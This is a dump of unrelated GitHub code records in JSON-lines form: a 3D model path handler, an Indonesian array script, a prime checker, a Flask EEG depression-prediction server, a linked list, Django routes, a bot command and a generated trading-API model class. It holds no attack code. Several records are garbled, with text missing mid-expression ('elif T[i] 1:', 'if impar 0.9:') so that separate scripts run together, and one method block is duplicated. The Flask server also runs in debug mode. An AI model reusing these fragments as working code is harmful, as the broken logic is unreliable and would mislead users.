def path_b_voxelized(self, idx=0):\n return self.path(\"models\", \"model_b_{}_voxelized.obj\".format(idx))\n\n def path_b_sdf(self, idx=0):\n return self.path(\"models\", \"model_b_{}_sdf.npz\".format(idx))\n\n def path_b_partial_sdf(self, idx=0):\n return self.path(\"models\", \"model_b_{}_partial_sdf.npz\".format(idx))\n\n def path_b_uniform_sdf(self, idx=0):\n return self.path(\"models\", \"model_b_{}_uniform_padded_sdf.npz\".format(idx))\n\n def path_b_uniform_occ(self, idx=0):\n return self.path(\"models\", \"model_b_{}_uniform_padded_occ.npz\".format(idx))\n\n def path_b_uniform_occ_64(self, idx=0):\n return self.path(\"models\", \"model_b_{}_uniform_padded_occ_64.npz\".format(idx))\n\n def path_b_voxel(self, idx=0, size=32):\n assert size == 32\n return self.path(\n \"models\", \"model_b_{}_uniform_padded_occ_{}.npz\".format(idx, size)\n )\n\n def path_r(self, idx=0):\n return self.path(\"models\", \"model_r_{}.obj\".format(idx))\n\n def path_r_voxelized(self, idx=0):\n return self.path(\"models\", \"model_r_{}_voxelized.obj\".format(idx))\n\n def path_r_sdf(self, idx=0):\n return self.path(\"models\", \"model_r_{}_sdf.npz\".format(idx))\n\n def path_r_uniform_sdf(self, idx=0):\n return self.path(\"models\", \"model_r_{}_uniform_padded_sdf.npz\".format(idx))\n\n def path_r_uniform_occ(self, idx=0):\n return self.path(\"models\", \"model_r_{}_uniform_padded_occ.npz\".format(idx))\n\n def path_r_uniform_occ_64(self, idx=0):\n return self.path(\"models\", \"model_r_{}_uniform_padded_occ_64.npz\".format(idx))\n\n def path_r_nofrac(self, idx=0):\n return self.path(\"models\", \"model_r_{}_nofrac.obj\".format(idx))\n\n def path_r_voxel(self, idx=0, size=32):\n assert size == 32\n return self.path(\n \"models\", \"model_r_{}_uniform_padded_occ_{}.npz\".format(idx, size)\n )\n\n # === eval path shortcuts ===\n def path_c_upsampled(self):\n return self.path(\"evals\", \"model_c_upsampled.npz\")\n\n def path_b_upsampled(self, idx=0):\n return self.path(\"evals\", \"model_b_{}_upsampled.npz\".format(idx))\n\n def path_r_upsampled(self, idx=0):\n return self.path(\"evals\", \"model_r_{}_upsampled.npz\".format(idx))\n\n # === eval path shortcuts ===\n def path_c_upsampled(self):\n return self.path(\"evals\", \"model_c_upsampled.npz\")\n\n def path_b_upsampled(self, idx=0):\n return self.path(\"evals\", \"model_b_{}_upsampled.npz\".format(idx))\n\n def path_r_upsampled(self, idx=0):\n return self.path(\"evals\", \"model_r_{}_upsampled.npz\".format(idx))\n\n # == render path shortcuts ==\n def path_c_rendered(self, angle=0, resolution=(200, 200)):\n if resolution == (200, 200):\n return self.path(\"renders\", \"model_c_rendered{}.png\".format(angle))\n else:\n return self.path(\n \"renders\",\n \"model_c_rendered_{}_{}_{}.png\".format(\n resolution[0], resolution[1], angle\n ),\n )\n\n def path_c_depth(self, angle=0, resolution=(200, 200)):\n if resolution == (200, 200):\n return self.path(\"renders\", \"model_c_depth{}.png\".format(angle))\n else:\n return self.path(\n \"renders\",\n \"model_c_depth{}_{}_{}.png\".format(resolution[0], resolution[1], angle),\n )\n\n def path_composite(self, idx=0, angle=0, resolution=(200, 200)):\n if resolution == (200, 200):\n return self.path(\"renders\", \"model_{}_composite{}.png\".format(idx, angle))\n else:\n return self.path(\n \"renders\",\n \"model_{}_composite{}_{}_{}.png\".format(\n idx, resolution[0], resolution[1], angle\n ),\n )\n\n def path_b_rendered(self, idx=0, angle=0, resolution=(200, 200)):\n if resolution == (200, 200):\n return self.path(\"renders\", \"model_b_{}_rendered{}.png\".format(idx, angle))\n else:\n return self.path(\n \"renders\",\n \"model_b_{}_rendered{}_{}_{}.png\".format(\n idx, resolution[0], resolution[1], angle\n ),\n )\n\n def path_b_depth(self, angle, idx=0, resolution=(200, 200)):\n if resolution == (200, 200):\n return self.path(\"renders\", \"model_b_{}_depth{}.png\".format(idx, angle))\n else:\n return self.path(\n \"renders\",\n \"model_b_{}_depth{}_{}_{}.png\".format(\n idx, resolution[0], resolution[1], angle\n ),\n )\n\n def path_r_rendered(self, idx=0, angle=0, resolution=(200, 200)):\n if resolution == (200, 200):\n return self.path(\"renders\", \"model_r_{}_rendered{}.png\".format(idx, angle))\n else:\n return self.path(\n \"renders\",\n \"model_r_{}_rendered{}_{}_{}.png\".format(\n idx, resolution[0], resolution[1], angle\n ),\n )\n\n def path_r_depth(self, angle, idx=0, resolution=(200, 200)):\n if resolution == (200, 200):\n return self.path(\"renders\", \"model_r_{}_depth{}.png\".format(idx, angle))\n else:\n return self.path(\n \"renders\",\n \"model_r_{}_depth{}_{}_{}.png\".format(\n idx, resolution[0], resolution[1], angle\n ),\n )\n","repo_name":"Terascale-All-sensing-Research-Studio/DeepJoin","sub_path":"deepjoin/python/core/handler.py","file_name":"handler.py","file_ext":"py","file_size_in_byte":51917,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"17040803299","text":"#Puji Tuhan \r\n#CARA I\r\n\r\nN = int(input(\"Masukkan ukuran array:\"))\r\nT = [0 for i in range (0,N)]\r\nimport random\r\nfor i in range (0,N) :\r\n T[i] = random.randint(1,20)\r\n print(T[i])\r\n#Menentukan unsur terbesar dan terkecil dalam array\r\nmaks = T[0]\r\nmin = T[0]\r\nfor i in range (0,N):\r\n if T[i] > maks:\r\n maks = T[i]\r\n elif T[i] 1:\n if perg%2==0:\n return False\n else:\n impar=3\n invalid=True\n while invalid:\n if impar 0.9:\n temp_intent.append(n['name'])\n\n if (len(temp_intent) != 0):\n intent.append(temp_intent)\n\n send_data.append(depression_data)\n send_data.append(eeg_data[:1000])\n send_data.append(intent)\n\n #print(send_data)\n return render_template('graph.html', value=send_data)\n\n#upload html rendering\n@app.route('/eeg')\ndef render_file():\n return render_template('eeg.html')\n\n#file upload work\n@app.route('/fileUpload', methods = ['POST'])\ndef upload_file():\n\n if request.method == 'POST':\n f = request.files['file']\n #f_name = secure_filename(f.filename)\n x = dt.datetime.now()\n f_name = str(x.year)+\"_\"+str(x.month)+\"_\"+str(x.day)+\".txt\"\n path_dir = '/home/ubuntu/webpage/static/data/'\n \n f.save(os.path.join(path_dir, f_name))\n print(f_name)\n #f.save('/home/ubuntu/my_tensorflow/uploads/'+secure_filename(f.filename))\n #temp_list = np.loadtxt(f, dtype='float')\n #temp_string = f.decode()\n #temp_list = np.array(map(float, temp_string.split()))\n #print(temp_list)\n\n f = open(os.path.join(path_dir, f_name), \"r\")\n content = f.read()\n content_list = content.split(\" \")\n f.close()\n #print(len(content_list))\n temp_list = []\n for i in content_list:\n if i != '':\n temp_list.append(float(i))\n \n print(len(temp_list))\n data_arr = np.array(temp_list[:210000])\n print(np.shape(data_arr))\n data_arr = np.reshape(data_arr, (1, 500, 420))\n print(np.shape(data_arr))\n model = load_model('../server/eeg_deeplearning_conv1d_lstm.h5')\n result = model.predict(data_arr)\n result = result.tolist()\n print(result)\n result = result[0]\n\n #json으로 결과 저장\n threshold = 0.4\n send_data = []\n if result[0] >= threshold:\n send_data.append(0)\n send_data.append(round(result[0], 4))\n else:\n send_data.append(1)\n send_data.append(round(result[1], 4))\n \n #send_data = [0, 0.9159774780273438]\n\n temp_data = {}\n with open('./static/data/depression_result.json', 'r') as f:\n temp_data = json.load(f)\n\n temp_date = str(x.year) + \"_\" + str(x.month) + \"_\" + str(x.day)\n temp_data[\"depression\"].append({\n \"date\": temp_date,\n \"result\": send_data[0],\n \"percent\": send_data[1]\n })\n\n with open('./static/data/depression_result.json', 'w') as f:\n json.dump(temp_data, f, indent=\"\\t\")\n\n return render_template('send_result.html', value=send_data)\n\nif __name__ == '__main__':\n app.debug = True\n HOST = '172.31.29.204'\n PORT = 8080\n #app.run(host=HOST, port=PORT)\n app.run(host=HOST, port=PORT)","repo_name":"HongJuHe/EEG_server_flask","sub_path":"server_flask.py","file_name":"server_flask.py","file_ext":"py","file_size_in_byte":4833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4601686642","text":"class Node:\n def __init__(self, x):\n self.x = x\n self.next = None\n\n\nclass MyLinkedList:\n \"\"\"\n Linked List where elements are added to the end of the list\n add is O(1)\n remove is O(n)\n reverse is O(n)\n \"\"\"\n def __init__(self):\n self.head = None\n self.tail = None\n\n def add(self, val):\n if self.head is None:\n self.head = Node(val)\n self.head.next = None\n self.tail = self.head\n else:\n temp = self.tail\n self.tail = Node(val)\n temp.next = self.tail\n\n def remove(self, val):\n if self.head is None:\n return\n\n if self.head.x is val:\n self.head = self.head.next\n return\n\n prev = self.head\n curr = self.head.next\n while curr is not None:\n if curr.x is val:\n if self.tail is curr:\n self.tail = prev\n prev.next = curr.next\n return\n prev = curr\n curr = curr.next\n\n def reverse(self):\n curr_node = self.head\n prev_node = None\n\n while curr_node:\n temp_next = curr_node.next\n curr_node.next = prev_node\n prev_node = curr_node\n curr_node = temp_next\n\n temp_node = self.head\n self.head = prev_node\n self.tail = temp_node\n\n def print(self):\n temp = self.head\n while temp:\n print(temp.x, end=' -> ')\n temp = temp.next\n\n print(\"None\")\n\n\nmyList = MyLinkedList()\nmyList.add(1)\nmyList.add(3)\nmyList.add(4)\nmyList.add(6)\nmyList.add(7)\nmyList.add(9)\n\n\nmyList.reverse()\nmyList.print()\n","repo_name":"sadiamahfuz/DSAPython","sub_path":"DataStructureImplementations/LinkedList.py","file_name":"LinkedList.py","file_ext":"py","file_size_in_byte":1699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10935374860","text":"from django.urls import path\nfrom . import views\n\n\nurlpatterns = [\n path('a/', views.hello, name='hello'),\n path('t/',views.tapp, name='tapp'),\n path('f',views.get_name, name='get_name'),\n path('nf',views.fbf, name='fbf'),\n path('fs',views.listfeedback.as_view(),name='fs'),\n path('HomePage',views.HomePage.as_view(),name='HP'),\n # path('signup/',views.SignUpView.as_view(),name='signup'),\n]\n","repo_name":"Afriendarko/Django-Practice-2","sub_path":"new2/app1/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25895815323","text":"from gbot.action import Action\r\nfrom gbot.exceptions import BotError\r\nfrom gbot import param\r\nfrom gbot.models import Group\r\n\r\nclass Vouch(Action):\r\n\r\n expose = '+v',\r\n groups = 'voucher',\r\n params = ['target', param.Player(),\r\n 'reason', param.Unicode(\"no reason\")]\r\n\r\n def action(self):\r\n if self.target.member_of(self.room, 'player'):\r\n raise BotError('already')\r\n\r\n# if self.bot.name == \"SlaVe\":\r\n# raise BotError('addmembership/no_player')\r\n \r\n if self.player.vouches_left(self.room) <= 0:\r\n raise BotError('addmembership/limit')\r\n\r\n self.vouch = self.target.memberships.create(reason = self.reason,\r\n room = self.room,\r\n group = Group.get(name = 'player'),\r\n by = self.player)\r\n self.announce()\r\n\r\n\r\n","repo_name":"tony-brewerio/ggbot-old","sub_path":"gbot/actions/vouch.py","file_name":"vouch.py","file_ext":"py","file_size_in_byte":959,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7332203252","text":"# coding: utf-8\n\n\"\"\"\n KS Trade API's\n\n\n\n The version of the OpenAPI document: 1.0\n\n\"\"\"\n\n\nimport pprint\nimport re # noqa: F401\n\nimport six\n\nfrom openapi_client.configuration import Configuration\n\n\nclass Todays(object):\n \"\"\"NOTE: This class is auto generated by OpenAPI Generator.\n Ref: https://openapi-generator.tech\n\n\n \"\"\"\n\n \"\"\"\n Attributes:\n openapi_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n openapi_types = {\n 'instrumentToken': 'int',\n 'normal': 'float',\n 'supermultiple': 'float',\n 'mtf': 'float',\n 'actualNetTrdValue': 'float',\n 'averageStockPrice': 'float',\n 'buyOpenQtyLot': 'int',\n 'buyOpenVal': 'float',\n 'buyTradedQtyLot': 'int',\n 'buyTradedVal': 'float',\n 'buyTrdAvg': 'float',\n 'deliveryStatus': 'int',\n 'denominator': 'int',\n 'exchange': 'str',\n 'exposureMargin': 'int',\n 'exposureMarginTotal': 'int',\n 'grossUtilization': 'float',\n 'instrumentName': 'str',\n 'lastPrice': 'float',\n 'marginType': 'str',\n 'maxCODQty': 'int',\n 'multiplier': 'int',\n 'netTrdQtyLot': 'int',\n 'netTrdValue': 'float',\n 'normalSqOffQty': 'float',\n 'premium': 'float',\n 'rbiRefRate': 'int',\n 'realizedPL': 'float',\n 'sellOpenQtyLot': 'int',\n 'sellOpenVal': 'int',\n 'sellTradedQtyLot': 'int',\n 'sellTradedVal': 'int',\n 'sellTrdAvg': 'float',\n 'spanMargin': 'int',\n 'spanMarginTotal': 'float',\n 'spreadTotal': 'float',\n 'totalStock': 'int'\n }\n\n attribute_map = {\n 'instrumentToken': 'instrumentToken',\n 'normal': 'normal',\n 'supermultiple': 'supermultiple',\n 'mtf': 'mtf',\n 'actualNetTrdValue': 'actualNetTrdValue',\n 'averageStockPrice': 'averageStockPrice',\n 'buyOpenQtyLot': 'buyOpenQtyLot',\n 'buyOpenVal': 'buyOpenVal',\n 'buyTradedQtyLot': 'buyTradedQtyLot',\n 'buyTradedVal': 'buyTradedVal',\n 'buyTrdAvg': 'buyTrdAvg',\n 'deliveryStatus': 'deliveryStatus',\n 'denominator': 'denominator',\n 'exchange': 'exchange',\n 'exposureMargin': 'exposureMargin',\n 'exposureMarginTotal': 'exposureMarginTotal',\n 'grossUtilization': 'grossUtilization',\n 'instrumentName': 'instrumentName',\n 'lastPrice': 'lastPrice',\n 'marginType': 'marginType',\n 'maxCODQty': 'maxCODQty',\n 'multiplier': 'multiplier',\n 'netTrdQtyLot': 'netTrdQtyLot',\n 'netTrdValue': 'netTrdValue',\n 'normalSqOffQty': 'normalSqOffQty',\n 'premium': 'premium',\n 'rbiRefRate': 'rbiRefRate',\n 'realizedPL': 'realizedPL',\n 'sellOpenQtyLot': 'sellOpenQtyLot',\n 'sellOpenVal': 'sellOpenVal',\n 'sellTradedQtyLot': 'sellTradedQtyLot',\n 'sellTradedVal': 'sellTradedVal',\n 'sellTrdAvg': 'sellTrdAvg',\n 'spanMargin': 'spanMargin',\n 'spanMarginTotal': 'spanMarginTotal',\n 'spreadTotal': 'spreadTotal',\n 'totalStock': 'totalStock'\n }\n\n def __init__(self, instrumentToken=None, normal=None, supermultiple=None, mtf=None, actualNetTrdValue=None, averageStockPrice=None, buyOpenQtyLot=None, buyOpenVal=None, buyTradedQtyLot=None, buyTradedVal=None, buyTrdAvg=None, deliveryStatus=None, denominator=None, exchange=None, exposureMargin=None, exposureMarginTotal=None, grossUtilization=None, instrumentName=None, lastPrice=None, marginType=None, maxCODQty=None, multiplier=None, netTrdQtyLot=None, netTrdValue=None, normalSqOffQty=None, premium=None, rbiRefRate=None, realizedPL=None, sellOpenQtyLot=None, sellOpenVal=None, sellTradedQtyLot=None, sellTradedVal=None, sellTrdAvg=None, spanMargin=None, spanMarginTotal=None, spreadTotal=None, totalStock=None, local_vars_configuration=None): # noqa: E501\n \"\"\"Todays - a model defined in OpenAPI\"\"\" # noqa: E501\n if local_vars_configuration is None:\n local_vars_configuration = Configuration()\n self.local_vars_configuration = local_vars_configuration\n\n self._instrumentToken = None\n self._normal = None\n self._supermultiple = None\n self._mtf = None\n self._actualNetTrdValue = None\n self._averageStockPrice = None\n self._buyOpenQtyLot = None\n self._buyOpenVal = None\n self._buyTradedQtyLot = None\n self._buyTradedVal = None\n self._buyTrdAvg = None\n self._deliveryStatus = None\n self._denominator = None\n self._exchange = None\n self._exposureMargin = None\n self._exposureMarginTotal = None\n self._grossUtilization = None\n self._instrumentName = None\n self._lastPrice = None\n self._marginType = None\n self._maxCODQty = None\n self._multiplier = None\n self._netTrdQtyLot = None\n self._netTrdValue = None\n self._normalSqOffQty = None\n self._premium = None\n self._rbiRefRate = None\n self._realizedPL = None\n self._sellOpenQtyLot = None\n self._sellOpenVal = None\n self._sellTradedQtyLot = None\n self._sellTradedVal = None\n self._sellTrdAvg = None\n self._spanMargin = None\n self._spanMarginTotal = None\n self._spreadTotal = None\n self._totalStock = None\n self.discriminator = None\n\n if instrumentToken is not None:\n self.instrumentToken = instrumentToken\n if normal is not None:\n self.normal = normal\n if supermultiple is not None:\n self.supermultiple = supermultiple\n if mtf is not None:\n self.mtf = mtf\n if actualNetTrdValue is not None:\n self.actualNetTrdValue = actualNetTrdValue\n if averageStockPrice is not None:\n self.averageStockPrice = averageStockPrice\n if buyOpenQtyLot is not None:\n self.buyOpenQtyLot = buyOpenQtyLot\n if buyOpenVal is not None:\n self.buyOpenVal = buyOpenVal\n if buyTradedQtyLot is not None:\n self.buyTradedQtyLot = buyTradedQtyLot\n if buyTradedVal is not None:\n self.buyTradedVal = buyTradedVal\n if buyTrdAvg is not None:\n self.buyTrdAvg = buyTrdAvg\n if deliveryStatus is not None:\n self.deliveryStatus = deliveryStatus\n if denominator is not None:\n self.denominator = denominator\n if exchange is not None:\n self.exchange = exchange\n if exposureMargin is not None:\n self.exposureMargin = exposureMargin\n if exposureMarginTotal is not None:\n self.exposureMarginTotal = exposureMarginTotal\n if grossUtilization is not None:\n self.grossUtilization = grossUtilization\n if instrumentName is not None:\n self.instrumentName = instrumentName\n if lastPrice is not None:\n self.lastPrice = lastPrice\n if marginType is not None:\n self.marginType = marginType\n if maxCODQty is not None:\n self.maxCODQty = maxCODQty\n if multiplier is not None:\n self.multiplier = multiplier\n if netTrdQtyLot is not None:\n self.netTrdQtyLot = netTrdQtyLot\n if netTrdValue is not None:\n self.netTrdValue = netTrdValue\n if normalSqOffQty is not None:\n self.normalSqOffQty = normalSqOffQty\n if premium is not None:\n self.premium = premium\n if rbiRefRate is not None:\n self.rbiRefRate = rbiRefRate\n if realizedPL is not None:\n self.realizedPL = realizedPL\n if sellOpenQtyLot is not None:\n self.sellOpenQtyLot = sellOpenQtyLot\n if sellOpenVal is not None:\n self.sellOpenVal = sellOpenVal\n if sellTradedQtyLot is not None:\n self.sellTradedQtyLot = sellTradedQtyLot\n if sellTradedVal is not None:\n self.sellTradedVal = sellTradedVal\n if sellTrdAvg is not None:\n self.sellTrdAvg = sellTrdAvg\n if spanMargin is not None:\n self.spanMargin = spanMargin\n if spanMarginTotal is not None:\n self.spanMarginTotal = spanMarginTotal\n if spreadTotal is not None:\n self.spreadTotal = spreadTotal\n if totalStock is not None:\n self.totalStock = totalStock\n\n @property\n def instrumentToken(self):\n \"\"\"Gets the instrumentToken of this Todays. # noqa: E501\n\n\n :return: The instrumentToken of this Todays. # noqa: E501\n :rtype: int\n \"\"\"\n return self._instrumentToken\n\n @instrumentToken.setter\n def instrumentToken(self, instrumentToken):\n \"\"\"Sets the instrumentToken of this Todays.\n\n\n :param instrumentToken: The instrumentToken of this Todays. # noqa: E501\n :type instrumentToken: int\n \"\"\"\n\n self._instrumentToken = instrumentToken\n\n @property\n def normal(self):\n \"\"\"Gets the normal of this Todays. # noqa: E501\n\n Order Status # noqa: E501\n\n :return: The normal of this Todays. # noqa: E501\n :rtype: float\n \"\"\"\n return self._normal\n\n @normal.setter\n def normal(self, normal):\n \"\"\"Sets the normal of this Todays.\n\n Order Status # noqa: E501\n\n :param normal: The normal of this Todays. # noqa: E501\n :type normal: float\n \"\"\"\n\n self._normal = normal\n\n @property\n def supermultiple(self):\n \"\"\"Gets the supermultiple of this Todays. # noqa: E501\n\n Order Status # noqa: E501\n\n :return: The supermultiple of this Todays. # noqa: E501\n :rtype: float\n \"\"\"\n return self._supermultiple\n\n @supermultiple.setter\n def supermultiple(self, supermultiple):\n \"\"\"Sets the supermultiple of this Todays.\n\n Order Status # noqa: E501\n\n :param supermultiple: The supermultiple of this Todays. # noqa: E501\n :type supermultiple: float\n \"\"\"\n\n self._supermultiple = supermultiple\n\n @property\n def mtf(self):\n \"\"\"Gets the mtf of this Todays. # noqa: E501\n\n Order Status # noqa: E501\n\n :return: The mtf of this Todays. # noqa: E501\n :rtype: float\n \"\"\"\n return self._mtf\n\n @mtf.setter\n def mtf(self, mtf):\n \"\"\"Sets the mtf of this Todays.\n\n Order Status # noqa: E501\n\n :param mtf: The mtf of this Todays. # noqa: E501\n :type mtf: float\n \"\"\"\n\n self._mtf = mtf\n\n @property\n def actualNetTrdValue(self):\n \"\"\"Gets the actualNetTrdValue of this Todays. # noqa: E501\n\n\n :return: The actualNetTrdValue of this Todays. # noqa: E501\n :rtype: float\n \"\"\"\n return self._actualNetTrdValue\n\n @actualNetTrdValue.setter\n def actualNetTrdValue(self, actualNetTrdValue):\n \"\"\"Sets the actualNetTrdValue of this Todays.\n\n\n :param actualNetTrdValue: The actualNetTrdValue of this Todays. # noqa: E501\n :type actualNetTrdValue: float\n \"\"\"\n\n self._actualNetTrdValue = actualNetTrdValue\n\n @property\n def averageStockPrice(self):\n \"\"\"Gets the averageStockPrice of this Todays. # noqa: E501\n\n\n :return: The averageStockPrice of this Todays. # noqa: E501\n :rtype: float\n \"\"\"\n return self._averageStockPrice\n\n @averageStockPrice.setter\n def averageStockPrice(self, averageStockPrice):\n \"\"\"Sets the averageStockPrice of this Todays.\n\n\n :param averageStockPrice: The averageStockPrice of this Todays. # noqa: E501\n :type averageStockPrice: float\n \"\"\"\n\n self._averageStockPrice = averageStockPrice\n\n @property\n def buyOpenQtyLot(self):\n \"\"\"Gets the buyOpenQtyLot of this Todays. # noqa: E501\n\n\n :return: The buyOpenQtyLot of this Todays. # noqa: E501\n :rtype: int\n \"\"\"\n return self._buyOpenQtyLot\n\n @buyOpenQtyLot.setter\n def buyOpenQtyLot(self, buyOpenQtyLot):\n \"\"\"Sets the buyOpenQtyLot of this Todays.\n\n\n :param buyOpenQtyLot: The buyOpenQtyLot of this Todays. # noqa: E501\n :type buyOpenQtyLot: int\n \"\"\"\n\n self._buyOpenQtyLot = buyOpenQtyLot\n\n @property\n def buyOpenVal(self):\n \"\"\"Gets the buyOpenVal of this Todays. # noqa: E501\n\n\n :return: The buyOpenVal of this Todays. # noqa: E501\n :rtype: float\n \"\"\"\n return self._buyOpenVal\n\n @buyOpenVal.setter\n def buyOpenVal(self, buyOpenVal):\n \"\"\"Sets the buyOpenVal of this Todays.\n\n\n :param buyOpenVal: The buyOpenVal of this Todays. # noqa: E501\n :type buyOpenVal: float\n \"\"\"\n\n self._buyOpenVal = buyOpenVal\n\n @property\n def buyTradedQtyLot(self):\n \"\"\"Gets the buyTradedQtyLot of this Todays. # noqa: E501\n\n\n :return: The buyTradedQtyLot of this Todays. # noqa: E501\n :rtype: int\n \"\"\"\n return self._buyTradedQtyLot\n\n @buyTradedQtyLot.setter\n def buyTradedQtyLot(self, buyTradedQtyLot):\n \"\"\"Sets the buyTradedQtyLot of this Todays.\n\n\n :param buyTradedQtyLot: The buyTradedQtyLot of this Todays. # noqa: E501\n :type buyTradedQtyLot: int\n \"\"\"\n\n self._buyTradedQtyLot = buyTradedQtyLot\n\n @property\n def buyTradedVal(self):\n \"\"\"Gets the buyTradedVal of this Todays. # noqa: E501\n\n\n :return: The buyTradedVal of this Todays. # noqa: E501\n :rtype: float\n \"\"\"\n return self._buyTradedVal\n\n @buyTradedVal.setter\n def buyTradedVal(self, buyTradedVal):\n \"\"\"Sets the buyTradedVal of this Todays.\n\n\n :param buyTradedVal: The buyTradedVal of this Todays. # noqa: E501\n :type buyTradedVal: float\n \"\"\"\n\n self._buyTradedVal = buyTradedVal\n\n @property\n def buyTrdAvg(self):\n \"\"\"Gets the buyTrdAvg of this Todays. # noqa: E501\n\n\n :return: The buyTrdAvg of this Todays. # noqa: E501\n :rtype: float\n \"\"\"\n return self._buyTrdAvg\n\n @buyTrdAvg.setter\n def buyTrdAvg(self, buyTrdAvg):\n \"\"\"Sets the buyTrdAvg of this Todays.\n\n\n :param buyTrdAvg: The buyTrdAvg of this Todays. # noqa: E501\n :type buyTrdAvg: float\n \"\"\"\n\n self._buyTrdAvg = buyTrdAvg\n\n @property\n def deliveryStatus(self):\n \"\"\"Gets the deliveryStatus of this Todays. # noqa: E501\n\n\n :return: The deliveryStatus of this Todays. # noqa: E501\n :rtype: int\n \"\"\"\n return self._deliveryStatus\n\n @deliveryStatus.setter\n def deliveryStatus(self, deliveryStatus):\n \"\"\"Sets the deliveryStatus of this Todays.\n\n\n :param deliveryStatus: The deliveryStatus of this Todays. # noqa: E501\n :type deliveryStatus: int\n \"\"\"\n\n self._deliveryStatus = deliveryStatus\n\n @property\n def denominator(self):\n \"\"\"Gets the denominator of this Todays. # noqa: E501\n\n\n :return: The denominator of this Todays. # noqa: E501\n :rtype: int\n \"\"\"\n return self._denominator\n\n @denominator.setter\n def denominator(self, denominator):\n \"\"\"Sets the denominator of this Todays.\n\n\n :param denominator: The denominator of this Todays. # noqa: E501\n :type denominator: int\n \"\"\"\n\n self._denominator = denominator\n\n @property\n def exchange(self):\n \"\"\"Gets the exchange of this Todays. # noqa: E501\n\n\n :return: The exchange of this Todays. # noqa: E501\n :rtype: str\n \"\"\"\n return self._exchange\n\n @exchange.setter\n def exchange(self, exchange):\n \"\"\"Sets the exchange of this Todays.\n\n\n :param exchange: The exchange of this Todays. # noqa: E501\n :type exchange: str\n \"\"\"\n\n self._exchange = exchange\n\n @property\n def exposureMargin(self):\n \"\"\"Gets the exposureMargin of this Todays. # noqa: E501\n\n\n :return: The exposureMargin of this Todays. # noqa: E501\n :rtype: int\n \"\"\"\n return self._exposureMargin\n\n @exposureMargin.setter\n def exposureMargin(self, exposureMargin):\n \"\"\"Sets the exposureMargin of this Todays.\n\n\n :param exposureMargin: The exposureMargin of this Todays. # noqa: E501\n :type exposureMargin: int\n \"\"\"\n\n self._exposureMargin = exposureMargin\n\n @property\n def exposureMarginTotal(self):\n \"\"\"Gets the exposureMarginTotal of this Todays. # noqa: E501\n\n\n :return: The exposureMarginTotal of this Todays. # noqa: E501\n :rtype: int\n \"\"\"\n return self._exposureMarginTotal\n\n @exposureMarginTotal.setter\n def exposureMarginTotal(self, exposureMarginTotal):\n \"\"\"Sets the exposureMarginTotal of this Todays.\n\n\n :param exposureMarginTotal: The exposureMarginTotal of this Todays. # noqa: E501\n :type exposureMarginTotal: int\n \"\"\"\n\n self._exposureMarginTotal = exposureMarginTotal\n\n @property\n def grossUtilization(self):\n \"\"\"Gets the grossUtilization of this Todays. # noqa: E501\n\n\n :return: The grossUtilization of this Todays. # noqa: E501\n :rtype: float\n \"\"\"\n return self._grossUtilization\n\n @grossUtilization.setter\n def grossUtilization(self, grossUtilization):\n \"\"\"Sets the grossUtilization of this Todays.\n\n\n :param grossUtilization: The grossUtilization of this Todays. # noqa: E501\n :type grossUtilization: float\n \"\"\"\n\n self._grossUtilization = grossUtilization\n\n @property\n def instrumentName(self):\n \"\"\"Gets the instrumentName of this Todays. # noqa: E501\n\n\n :return: The instrumentName of this Todays. # noqa: E501\n :rtype: str\n \"\"\"\n return self._instrumentName\n\n @instrumentName.setter\n def instrumentName(self, instrumentName):\n \"\"\"Sets the instrumentName of this Todays.\n\n\n :param instrumentName: The instrumentName of this Todays. # noqa: E501\n :type instrumentName: str\n \"\"\"\n\n self._instrumentName = instrumentName\n\n @property\n def lastPrice(self):\n \"\"\"Gets the lastPrice of this Todays. # noqa: E501\n\n\n :return: The lastPrice of this Todays. # noqa: E501\n :rtype: float\n \"\"\"\n return self._lastPrice\n\n @lastPrice.setter\n def lastPrice(self, lastPrice):\n \"\"\"Sets the lastPrice of this Todays.\n\n\n :param lastPrice: The lastPrice of this Todays. # noqa: E501\n :type lastPrice: float\n \"\"\"\n\n self._lastPrice = lastPrice\n\n @property\n def marginType(self):\n \"\"\"Gets the marginType of this Todays. # noqa: E501\n\n\n :return: The marginType of this Todays. # noqa: E501\n :rtype: str\n \"\"\"\n return self._marginType\n\n @marginType.setter\n def marginType(self, marginType):\n \"\"\"Sets the marginType of this Todays.\n\n\n :param marginType: The marginType of this Todays. # noqa: E501\n :type marginType: str\n \"\"\"\n\n self._marginType = marginType\n\n @property\n def maxCODQty(self):\n \"\"\"Gets the maxCODQty of this Todays. # noqa: E501\n\n\n :return: The maxCODQty of this Todays. # noqa: E501\n :rtype: int\n \"\"\"\n return self._maxCODQty\n\n @maxCODQty.setter\n def maxCODQty(self, maxCODQty):\n \"\"\"Sets the maxCODQty of this Todays.\n\n\n :param maxCODQty: The maxCODQty of this Todays. # noqa: E501\n :type maxCODQty: int\n \"\"\"\n\n self._maxCODQty = maxCODQty\n\n @property\n def multiplier(self):\n \"\"\"Gets the multiplier of this Todays. # noqa: E501\n\n\n :return: The multiplier of this Todays. # noqa: E501\n :rtype: int\n \"\"\"\n return self._multiplier\n\n @multiplier.setter\n def multiplier(self, multiplier):\n \"\"\"Sets the multiplier of this Todays.\n\n\n :param multiplier: The multiplier of this Todays. # noqa: E501\n :type multiplier: int\n \"\"\"\n\n self._multiplier = multiplier\n\n @property\n def netTrdQtyLot(self):\n \"\"\"Gets the netTrdQtyLot of this Todays. # noqa: E501\n\n\n :return: The netTrdQtyLot of this Todays. # noqa: E501\n :rtype: int\n \"\"\"\n return self._netTrdQtyLot\n\n @netTrdQtyLot.setter\n def netTrdQtyLot(self, netTrdQtyLot):\n \"\"\"Sets the netTrdQtyLot of this Todays.\n\n\n :param netTrdQtyLot: The netTrdQtyLot of this Todays. # noqa: E501\n :type netTrdQtyLot: int\n \"\"\"\n\n self._netTrdQtyLot = netTrdQtyLot\n\n @property\n def netTrdValue(self):\n \"\"\"Gets the netTrdValue of this Todays. # noqa: E501\n\n\n :return: The netTrdValue of this Todays. # noqa: E501\n :rtype: float\n \"\"\"\n return 